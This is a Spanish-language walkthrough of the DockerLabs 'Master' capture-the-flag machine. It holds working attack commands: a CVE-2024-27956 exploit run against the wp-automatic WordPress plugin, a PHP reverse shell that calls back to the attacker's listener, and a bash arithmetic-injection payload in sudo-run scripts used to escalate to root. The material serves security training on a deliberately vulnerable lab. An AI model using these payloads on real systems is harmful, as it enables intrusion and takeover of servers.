Master DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip master.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh master.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-20 11:53 EST
Nmap scan report for 172.17.0.2
Host is up (0.000029s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.5
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Master
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds
Si vamos a la pagina web, veremos una pagina normal, pero si nos vamos al footer
veremos lo siguiente:
Created by Master 2024 && Automated By wp-automatic 3.92.0
Vemos que esta utilizando worpress
y esto puede ser un plugin, que encima nos confirma con una version en especifico, por lo que si buscamos algun exploit
asociado a dicho plugin, podremos encontrar el siguiente exploit
.
URL = Exploit CVE-2024-27956-RCE
Una vez que nos hayamos descargado el script, lo ejecutamos de la siguiente forma:
python3 exploit.py http://172.17.0.2/
Info:
[+] Exploit for CVE-2024-27956
[+] Creating user eviladmin
[+] Giving eviladmin administrator permissions
[+] Exploit completed!
[+] administrator created: eviladmin:admin
Vemos que ha funcionado y nos ha creado un usuario en worpress
como administrador con las siguiente credenciales:
User: eviladmin
Pass: admin
Ahora si nos vamos a /wp-admin
que es donde estara el login y metemos dichas credenciales, veremos que estamos dentro.
Escalate user www-data
Nos iremos a Appearance
-> Theme File Editor
-> functions.php
Dentro de este carchivo pegaremos nuestra reverse shell
:
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
Y antes nos pondremos a la escucha:
nc -lvnp <PORT>
Ahora tendremos que pulsar en Update File
, veremos que nos da un error, pero si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 48182
whoami
www-data
Vemos que hemos obtenido acceso como el usuario www-data
, pero antes sanitizaremos la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user pylon
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for www-data on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 0563443ab229:
(pylon) NOPASSWD: /usr/bin/php
Vemos que podemos ejecutar el binario php
como el usuario pylon
, por lo que haremos lo siguiente:
CMD="/bin/bash"
sudo -u pylon php -r "system('$CMD');"
Info:
pylon@0563443ab229:/home$ whoami
pylon
Vemos que con esto seremos dicho usuario.
Escalate user mario
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for pylon on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pylon may run the following commands on 0563443ab229:
(mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh
Vemos que podemos ejecutar el binario bash
junto con el script .sh
como el usuario mario
por lo que vamos a ver que contiene el script.
No podremos leerlo, pero vemos lo que parece ser una copia de ese script en esta ubicacion:
cat /home/pylon/pylonsorpresita.sh
Info:
#!/bin/bash
read -rp "Escribe 1 para ver el canal de pylon: " num
if [[ $num -eq 1 ]]
then
echo "https://www.youtube.com/@Pylonet"
else
echo "Ingresa el 1"
fi
Vemos que puede contener una vulnerabilidad en esta linea:
if [[ $num -eq 1 ]]
Por lo que podremos hacer lo siguiente:
sudo -u mario bash /home/mario/pingusorpresita.sh
test[$(/bin/bash >&2)]+1
Info:
mario@0563443ab229:/home/pylon$ whoami
mario
Y con esto seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for mario on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mario may run the following commands on 0563443ab229:
(root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh
Vemos que podemos ejecutar lo mismo de antes, pero esta vez como el usuario root
, por lo que haremos lo siguiente:
sudo bash /home/pylon/pylonsorpresita.sh
test[$(/bin/bash >&2)]+1
Info:
root@0563443ab229:/home/pylon# whoami
root
Con esto seremos el usuario root
, por lo que habremos termiando la maquina.
Last updated